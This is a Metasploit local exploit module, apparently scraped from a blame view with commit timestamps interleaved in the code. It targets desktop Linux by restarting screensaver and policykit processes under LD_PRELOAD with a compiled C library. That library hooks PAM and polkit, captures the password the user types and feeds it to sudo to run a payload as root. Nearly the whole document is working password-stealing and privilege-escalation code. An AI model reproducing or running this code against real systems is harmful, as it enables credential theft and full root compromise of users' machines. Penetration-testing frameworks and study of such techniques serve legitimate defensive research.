2014-08-24 22:05:20 +00:00
##
2014-12-24 20:35:35 +00:00
# This module requires Metasploit: http://metasploit.com/download
2014-08-24 22:05:20 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/exe'
require 'base64'
2014-09-04 19:49:55 +00:00
require 'metasm'
2014-08-24 22:05:20 +00:00
class Metasploit4 < Msf :: Exploit :: Local
Rank = ExcellentRanking
include Msf :: Exploit :: EXE
include Msf :: Post :: File
def initialize ( info = { } )
super ( update_info ( info , {
2014-12-24 20:35:35 +00:00
'Name' = > 'Desktop Linux Password Stealer and Privilege Escalation' ,
'Description' = > %q{
This module steals the user password of an administrative user on a desktop Linux system
when it is entered for unlocking the screen or for doing administrative actions using
policykit . Then it escalates to root privileges using sudo and the stolen user password .
It exploits the design weakness that there is no trusted channell for transferring the
password from the keyboard to the actual password verificatition against the shadow file
( which is running as root since / etc /s hadow is only readable to the root user ) . Both
screensavers ( xscreensaver / gnome - screensaver ) and policykit use a component running under
the current user account to query for the password and then pass it to a setuid - root binary
to do the password verification . Therefore it is possible to inject a password stealer
after compromising the user account . Since sudo requires only the user password ( and not
the root password of the system ) , stealing the user password of an administrative user
directly allows escalating to root privileges . Please note that you have to start a handler
as a background job before running this exploit since the exploit will only create a shell
when the user actually enters the password ( which may be hours after launching the exploit ) .
Using exploit / multi / handler with the option ExitOnSession set to false should do the job .
} ,
'License' = > MSF_LICENSE ,
'Author' = > [ 'Jakob Lell' ] ,
'DisclosureDate' = > 'Aug 7 2014' ,
'Platform' = > 'linux' ,
'Arch' = > [ ARCH_X86 , ARCH_X86_64 ] ,
'SessionTypes' = > [ 'shell' , 'meterpreter' ] ,
'Targets' = >
[
[ 'Linux x86' , { 'Arch' = > ARCH_X86 } ] ,
[ 'Linux x86_64' , { 'Arch' = > ARCH_X86_64 } ]
] ,
'DefaultOptions' = >
{
'PrependSetresuid' = > true ,
'PrependFork' = > true ,
'DisablePayloadHandler' = > true
2014-08-24 22:05:20 +00:00
} ,
2014-12-24 20:35:35 +00:00
'DefaultTarget' = > 0 ,
2014-08-24 22:05:20 +00:00
}
2014-12-24 20:35:35 +00:00
) )
2014-08-24 22:05:20 +00:00
register_options ( [
2014-12-24 20:37:39 +00:00
OptString . new ( 'WritableDir' , [ true , 'A directory for storing temporary files on the target system' , '/tmp' ] ) ,
2014-08-24 22:05:20 +00:00
] , self . class )
end
def check
2014-12-24 20:49:19 +00:00
check_command = 'if which perl && '
check_command << 'which sudo && '
check_command << 'id|grep -E \'sudo|adm\' && '
check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'
check_command << 'then echo OK;'
check_command << 'fi'
output = cmd_exec ( check_command ) . gsub ( " \r " , '' )
2014-08-24 22:05:20 +00:00
vprint_status ( output )
2014-12-24 20:49:19 +00:00
2014-12-24 20:37:39 +00:00
if output [ 'OK' ] == 'OK'
2014-08-24 22:05:20 +00:00
return Exploit :: CheckCode :: Vulnerable
end
2014-12-24 20:49:19 +00:00
Exploit :: CheckCode :: Safe
end
def exploit
2014-12-24 21:43:49 +00:00
# Cannot use generic/shell_reverse_tcp inside an elf
# Checking before proceeds
pl = generate_payload_exe
if pl . blank?
fail_with ( Failure :: BadConfig , " #{ rhost } : #{ rport } - Failed to store payload inside executable, please select a native payload " )
end
2014-12-24 20:49:19 +00:00
exe_file = " #{ datastore [ 'WritableDir' ] } / #{ rand_text_alpha ( 3 + rand ( 5 ) ) } .elf "
print_status ( " Writing payload executable to ' #{ exe_file } ' " )
2014-12-24 21:43:49 +00:00
write_file ( exe_file , pl )
2014-12-24 20:49:19 +00:00
cmd_exec ( " chmod +x #{ exe_file } " )
cpu = nil
if target [ 'Arch' ] == ARCH_X86
cpu = Metasm :: Ia32 . new
elsif target [ 'Arch' ] == ARCH_X86_64
cpu = Metasm :: X86_64 . new
end
lib_data = Metasm :: ELF . compile_c ( cpu , c_code ( exe_file ) ) . encode_string ( :lib )
lib_file = " #{ datastore [ 'WritableDir' ] } / #{ rand_text_alpha ( 3 + rand ( 5 ) ) } .so "
print_status ( " Writing lib file to ' #{ lib_file } ' " )
write_file ( lib_file , lib_data )
print_status ( 'Restarting processes (screensaver/policykit)' )
restart_commands = get_restart_commands ( )
restart_commands . each do | cmd |
cmd [ 'LD_PRELOAD_PLACEHOLDER' ] = lib_file
cmd_exec ( cmd )
end
print_status ( 'The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.' )
2014-08-24 22:05:20 +00:00
end
2014-12-24 20:37:39 +00:00
2014-08-24 22:05:20 +00:00
def get_restart_commands
2014-12-24 20:55:18 +00:00
get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'
get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'
get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'
get_cmd_lines << '$/=undef;'
get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''
text_output = cmd_exec ( get_cmd_lines ) . gsub ( " \r " , '' )
2014-08-24 22:05:20 +00:00
vprint_status ( text_output )
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
lines = text_output . split ( " \n " )
2014-12-24 20:55:18 +00:00
restart_commands = [ ]
2014-08-24 22:05:20 +00:00
i = 0
2014-12-24 20:55:18 +00:00
while i < lines . length - 3
2014-08-24 22:05:20 +00:00
m = lines [ i ] . match ( / ^PID:( \ d+) / )
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
if m
pid = m [ 1 ]
vprint_status ( " PID= #{ pid } " )
2014-09-04 19:49:55 +00:00
print_status ( " Found process: " + lines [ i + 1 ] )
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
exe = lines [ i + 1 ] . match ( / ^EXE:( \ S+)$ / ) [ 1 ]
vprint_status ( " exe= #{ exe } " )
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
cmdline = [ lines [ i + 2 ] . match ( / ^cmdline:( \ w+)$ / ) [ 1 ] ] . pack ( " H* " ) . split ( " \x00 " )
vprint_status ( " CMDLINE= " + cmdline . join ( " XXX " ) )
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
env = lines [ i + 3 ] . match ( / ^environ:( \ w+)$ / ) [ 1 ]
restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline . map { | x | '"' + x + '"' } . join ( " , " ) + '\'' ;
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
vprint_status ( " RESTART: #{ restart_command } " )
2014-12-24 20:55:18 +00:00
restart_commands . push ( restart_command )
2014-08-24 22:05:20 +00:00
end
2014-12-24 20:55:18 +00:00
2014-08-24 22:05:20 +00:00
i += 1
end
2014-12-24 20:55:18 +00:00
restart_commands
2014-08-24 22:05:20 +00:00
end
2014-12-24 20:49:19 +00:00
def c_code ( exe_file )
2014-09-04 19:49:55 +00:00
c = % Q |
/ / A few constants / function definitions / structs copied from header files
#define RTLD_NEXT ((void *) -1l)
extern uintptr_t dlsym ( uintptr_t , char * ) ;
/ / Define some structs to void so that we can ignore all dependencies from these structs
#define FILE void
#define pam_handle_t void
extern FILE * popen ( const char * command , const char * type ) ;
extern int pclose ( FILE * stream ) ;
extern int fprintf ( FILE * stream , const char * format , ... ) ;
extern char * strstr ( const char * haystack , const char * needle ) ;
extern void * malloc ( unsigned int size ) ;
struct pam_message {
int msg_style ;
const char * msg ;
} ;
struct pam_response {
char * resp ;
int resp_retcode ;
} ;
struct pam_conv {
int ( * conv ) ( int num_msg , const struct pam_message ** msg ,
struct pam_response ** resp , void * appdata_ptr ) ;
void * appdata_ptr ;
} ;
void run_sudo ( char * password ) {
FILE * sudo = popen ( " sudo -S #{ exe_file } " , " w " ) ;
fprintf ( sudo , " %s \\ n " , password ) ;
pclose ( sudo ) ;
}
int my_conv ( int num_msg , const struct pam_message ** msg , struct pam_response ** resp , void * appdata_ptr ) {
struct pam_conv * orig_pam_conversation = ( struct pam_conv * ) appdata_ptr ;
int i ;
int passwd_index = - 1 ;
for ( i = 0 ; i < num_msg ; i + + ) {
if ( strstr ( msg [ i ] - > msg , " Password " ) > = 0 ) {
passwd_index = i ;
}
}
int result = orig_pam_conversation - > conv ( num_msg , msg , resp , orig_pam_conversation - > appdata_ptr ) ;
if ( passwd_index > = 0 ) {
run_sudo ( resp [ passwd_index ] - > resp ) ;
}
return result ;
}
int pam_start ( const char * service_name , const char * user , const struct pam_conv * pam_conversation , pam_handle_t ** pamh ) __attribute__ ( ( export ) ) {
static int ( * orig_pam_start ) ( const char * service_name , const char * user , const struct pam_conv * pam_conversation , pam_handle_t ** pamh ) ;
if ( ! orig_pam_start ) {
orig_pam_start = dlsym ( RTLD_NEXT , " pam_start " ) ;
}
struct pam_conv * my_pam_conversation = malloc ( sizeof ( struct pam_conv ) ) ;
my_pam_conversation - > conv = & my_conv ;
my_pam_conversation - > appdata_ptr = ( struct pam_conv * ) pam_conversation ;
return orig_pam_start ( service_name , user , my_pam_conversation , pamh ) ;
}
void polkit_agent_session_response ( void * session , char * response ) __attribute__ ( ( export ) ) {
static void * ( * orig_polkit_agent_session_response ) ( void * session , char * response ) ;
if ( ! orig_polkit_agent_session_response ) {
orig_polkit_agent_session_response = dlsym ( RTLD_NEXT , " polkit_agent_session_response " ) ;
}
run_sudo ( response ) ;
orig_polkit_agent_session_response ( session , response ) ;
return ;
}
|
2014-12-24 20:49:19 +00:00
c
2014-08-24 22:05:20 +00:00
end
end